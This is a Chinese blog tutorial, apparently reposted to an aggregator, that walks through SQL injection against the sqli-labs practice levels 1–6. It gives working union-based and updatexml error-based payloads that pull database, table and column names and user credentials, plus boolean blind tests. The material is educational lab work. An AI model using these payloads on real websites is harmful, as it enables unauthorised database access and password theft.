sql注入总结-1

news2024/9/21 8:00:22

SQL注入

1.查看类型

如果是字符型注入 我们可以输入?id=1\ 弹出的

near ''1') LIMIT 0,1 报错类 型为‘)

near ''1')) LIMIT 0,1 报错类型为'))

切在变为?id=1\--+后恢复正常则可以判断类型

2.id=1和id=-1的区别

    • id=1:这个条件通常用于查找数据库中 id 列值为 1 的记录。在大多数数据库中,id 通常用作主键,每个记录都有一个唯一的 id 值。因此,这个查询很可能返回数据库中 id1 的那条记录。

      这部分输入首先提供了一个无效的查询条件(-1 通常不是一个有效的 id 值,假设 id 应该是正数),并且闭合了原始查询中可能存在的单引号。这通常会导致原始查询返回空结果集,为后续的 UNION 操作做准备。

    • id=-1:这个条件用于查找 id 列值为 -1 的记录。由于 -1 不是一个通常用作主键的值(主键通常是从正整数开始的),这个查询可能不会返回任何结果,除非数据库中确实存在 id-1 的记录。

  1. 查询结果

    • 使用 id=1 作为条件的查询很可能会返回一条具体的记录,前提是数据库中存在 id1 的记录。

    • 使用 id=-1 作为条件的查询则可能不会返回任何记录,因为 -1 通常不会是有效的主键值。

在SQL注入的上下文中,使用 id=-1 可能是出于以下原因:

  • 避免返回真实数据:攻击者可能故意使用一个不可能的 id 值(如 -1),以确保原始查询不会返回任何真实的数据。这样做可以为后续的 UNION 操作清理结果集,使得注入的数据更容易被识别。

    使用union语句就需要id=-1

    3.union语句

    ?id=-1'

    union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+

    相当于 select * from student union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+

    ?id=-1为 select * from student部分 主要与后面割裂

第一关

判断为字符 ‘ 型注入

1.手工查询有多少栏目

?id=1' order by 2--+

发现3的时候可以,4的时候不可以,说明有3列

2.显示报错位

?id=-1' union select 1,2,3 --+

当union前面的语句为false,才会执行后面语句

3.爆库名

?id=-1' union select 1,database(),3 --+

database()为函数 可以看到该数据库

4.爆表名

?id=-1'

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

group_concat(table_name) 是一个SQL函数,它将 information_schema.tables 表中所有 table_name 列的值连接成一个字符串。

5.爆列名

?id=-1'

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

6.爆数据

?id=-1'

union select 1,group_concat(username),group_concat(password) from users --+

优化排版

?id=-1'

union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --+

  • 0x3a 是十六进制编码的冒号字符 :

  • 0x3C,0x68,0x72,0x2F,0x3E 是十六进制编码的字符串 </hr>,它看起来像是HTML标签 </hr>,但实际上 <hr> 是不正确的HTML标签(应该是 <hr/><hr>)。这可能是一个错误,或者攻击者可能有其他目的。

2---4关只有闭合方式不同 公式同上

第5关

1.?id=1\ 判断是字符型注入 且为 ’ 闭合

2.判断注入点

?id=1' and 1=1 --+

注入点判断

  • 您输入的 ?id=1' and 1=1 --+ 是一个典型的测试语句,用于检查注入点是否对SQL逻辑产生影响。因为 1=1 是一个永真条件,如果页面在输入这个条件后显示 “You are in…”,则意味着注入点存在,并且您可以通过改变条件来控制SQL逻辑。

  • 但是,由于页面没有回显,您可能需要尝试其他方法来确认注入点。

基于布尔值的盲注

  • 因为页面没有直接回显数据库信息,您需要根据页面内容的变化来判断注入是否成功。

  • 尝试使用不同的逻辑条件,例如:

    • ?id=1' and 1=2 --+:如果页面不显示 “You are in…”,则表示注入点可能存在,因为 1=2 是一个永假条件,应当导致原始查询失败。

    • ?id=1' and '1'='1:这是一个永真条件,如果页面显示 “You are in…”,则表示注入点存在。

    • ?id=1' and '1'='2:这是一个永假条件,如果页面不显示 “You are in…”,则进一步确认注入点存在。

3.爆库名

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

  1. ?id=1':这部分输入闭合了原始查询中可能存在的单引号,并提供了初始的查询条件。

  2. and:这是一个逻辑运算符,用于在原始查询的基础上添加额外的条件。

  3. updatexml():这是MySQL数据库中的一个函数,用于更新XML文档中的内容。它的三个参数分别是:

    • 第一个参数:XML文档的路径。

    • 第二个参数:要更新的内容。

    • 第三个参数:可选,表示更新的内容类型。

  4. concat(0x7e,(database()),0x7e):这是一个 concat() 函数,用于连接字符串。在这个例子中,它连接了以下三个部分:

    • 0x7e:这是十六进制编码的波浪号字符 ~

    • (database()):这是MySQL的 database() 函数,返回当前数据库的名称。

    • 0x7e:又是十六进制编码的波浪号字符 ~

  5. --+:这是SQL注释符号,用于注释掉原始查询中可能存在的任何后续代码,以防止语法错误。

updatexml()` 函数可能需要特定的权限才能执行。

因此,这种攻击方法通常只能在特定条件下成功,例如在渗透测试或教学环境中。在真实环境中,攻击者可能需要使用更复杂或不同的方法来利用SQL注入漏洞。

2.爆表名

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

③爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

4.爆数据

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

第6关

1.?id=1\ 判断是字符型注入 且为 ’‘ 闭合

2.判断数据库长度

?id=1" and length(database())<8

?id=1" and length(database())<9

所以库名长度=8

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1983512.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ZICO2: 1【附代码】(权限提升)

靶机下载地址&#xff1a; https://vulnhub.com/entry/zico2-1,210/https://vulnhub.com/entry/zico2-1,210/ 1. 主机发现端口扫描目录扫描敏感信息收集 1.1. 主机发现 nmap -sn 192.168.5.0/24|grep -B 2 08:00:27:62:AC:7F 1.2. 端口扫描 nmap -p- 192.168.5.66 1.3. 目…

Effective-Java-Chapter3

https://github.com/clxering/Effective-Java-3rd-edition-Chinese-English-bilingual/blob/dev/Chapter-3 准则一 覆盖 equals 方法时应遵守的约定 重写equals 方法需要满足的特性 Reflexive: For any non-null reference value x, x.equals(x) must return true. 反身性&a…

科普文:微服务之Spring Cloud Alibaba分布式事务组件Seata4种分布式事务模式及其选择

https://zhouxx.blog.csdn.net/article/details/140940976 科普文&#xff1a;微服务之Spring Cloud Alibaba分布式事务组件Seata设计方案-CSDN博客 一、概述 Seata是一款开源的分布式事务解决方案&#xff0c;致力于提供高性能和简单易用的分布式事务服务。Seata提供了AT、…

基于springboot+vue+uniapp的智慧校园管理系统小程序

开发语言&#xff1a;Java框架&#xff1a;springbootuniappJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#…

[网鼎杯 2018]Comment

使用环境为https://adworld.xctf.org.cn/challenges&#xff0c;搜索题目[网鼎杯 2018]Comment。 进入环境&#xff0c;发现为一个留言板&#xff0c;点击发帖试试。 尝试发帖 跳转到登录页面&#xff0c;根据提示使用burp进行暴力破解。 发现payload为666时状态码不同。 尝试…

【Flutter 自定义字体】等宽字体等

一般如果涉及自定义字体、等宽字体&#xff0c;我们通常使用到 Google 提供的&#xff1a;https://fonts.google.com/&#xff08;可能需要魔法&#xff09;&#xff0c; 1 如果是等宽字体&#xff0c;搜索关键词 ”mono“ 就会发现有很多&#xff1a; 2 我们可以直接选择第一…

nuScenes数据集及mmdetection3d中的相关处理

1. nuScence数据集简单介绍 数据集官网&#xff1a;https://www.nuscenes.org 论文&#xff1a;https://arxiv.org/abs/1903.11027 官方github页面&#xff1a;GitHub - nutonomy/nuscenes-devkit: The devkit of the nuScenes dataset. 1.1 坐标系的定义 nuScence数据集共…

cpp学习记录06:文件操作与模板

文件操作 对文件操作需要包含头文件<fstream> 文件类型&#xff1a; 文本文件&#xff1a;以文本ASCII码形式储存 二进制文件&#xff1a;以文本的二进制形式储存 操作文件三大类&#xff1a; ofstream&#xff1a;写操作 ifstream&#xff1a;读操作 fstream&…

以知识图谱结构为Prompt框架,帮LLM快速找出因果关系生成更精准内容

因果关系提取一直是LLM领域一个热门的研究方向&#xff0c;正如我上一篇文章中介绍的&#xff0c;我们在制定决策和科学研究时&#xff0c;往往需要LLM具有非常稳健的因果推理能力。幸运的是&#xff0c;恰巧知识图谱结构作为Prompt(“KG Structure as Prompt”&#xff09;能够…

做一个能和你互动玩耍的智能机器人之六-装配

openbot小车&#xff0c;最简单的配件。一个小车支架或者底盘&#xff0c;四个马达&#xff0c;最好是双层的&#xff0c;下层安装马在&#xff0c;上层电池和电源盒&#xff0c;L298N&#xff0c;arduino&#xff0c;手机支架&#xff0c;根据需要配置蓝牙&#xff0c;超声波等…

Arrays、Lambda表达式、Collection集合

1. Arrays 1.1 操作数组的工具类 方法名说明public static String toString(数组)把数组拼接成一个字符串public static int binarySearch(数组,查找的元素)二分查找法查找元素public static int[] copyOf(原数组,新数组长度)拷贝数组public static int[] copyOfRange(原数组…

接口自动化测试mock框架模块实战

前言 mock的介绍 py3已将mock集成到unittest库中&#xff1b; 为的就是更好的进行单元测试&#xff1b; 简单理解&#xff0c;模拟接口返回参数&#xff1b; 通俗易懂&#xff0c;直接修改接口返回参数的值&#xff1b; mock的作用 1、解决依赖问题&#xff0c;达到解耦作用…

基于Spring前后端分离版本的论坛

基于Spring前后端分离版本的论坛系统 PP论坛地址系统设计逻辑交互图数据库设计工程结构概述注册功能实现展示注册交互图参数要求接口规范后端具体实现前端数据集成 接口拦截器实现mybatis生成类与映射文件改造session存储到 redis加盐算法实现部分Bug调试记录项目测试记录Postm…

关于正点原子imx6ull-mini在写触摸驱动时,一直挂载不上驱动,就是没有一些信息反馈

/** 设备树匹配表 */ const struct of_device_id gt9147_of_match_table[] {{.compatible "goodix,gt9147" },{ /* sentinel */ } };const struct of_device_id gt9147_of_match_table[] {{.compatible "goodix&#xff0c;gt9147"},{} }; 找了俩小时…

高频面试题全攻略:从算法到解题技巧

干货分享&#xff0c;感谢您的阅读&#xff01; &#xff08;暂存篇---后续会删除&#xff0c;完整版和持续更新见高频面试题基本总结回顾&#xff08;含笔试高频算法整理&#xff09;&#xff09; 备注&#xff1a;引用请标注出处&#xff0c;同时存在的问题请在相关博客留言…

基于宝塔面板稳定快速安装 ssl 证书脚本

背景 我通过AI制作了不少关于签发ssl证书的脚本&#xff0c;目的是方便无脑安装&#xff0c;不需要懂代码。 但全都是基于acme.sh这个工具来设计的脚本&#xff0c;而且证书申请有点慢&#xff0c;有时还会申请失败。 然后我发现了certbot, 安装证书可谓神速&#xff01; c…

[米联客-安路飞龙DR1-FPSOC] UDP通信篇连载-04 IP层程序设计

软件版本&#xff1a;Anlogic -TD5.9.1-DR1_ES1.1 操作系统&#xff1a;WIN10 64bit 硬件平台&#xff1a;适用安路(Anlogic)FPGA 实验平台&#xff1a;米联客-MLK-L1-CZ06-DR1M90G开发板 板卡获取平台&#xff1a;https://milianke.tmall.com/ 登录“米联客”FPGA社区 ht…

全面解析PHP反序列化漏洞:原理、复现与防御

文章目录 概念序列化数据的含义魔术方法魔术方法的使用construct&#xff0c;destructtoStringcallgetsetsleepwakeupissetunsetinvoke 原生态反序列化漏洞概念种类复现 wakeup长度绕过产生原因条件复现 基本题型源码解读 在Web应用安全领域&#xff0c;PHP反序列化漏洞常常被视…

Tomcat 使用和配置文件(详解)

一.tomcat 介绍 1. tomcat 概述 自从JSP发布之后&#xff0c;推出了各式各样的JSP引擎。Apache Group在完成GNUJSP1.0的开发以后&#xff0c;开始考虑在SUN的JSWDK基础上开发一个可以直接提供Web服务的JSP服务器&#xff0c;当然同时也支持 Servlet&#xff0c;这样Tomcat就诞…

MySQL数据库误删恢复--超详细

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:Linux运维老纪的首页…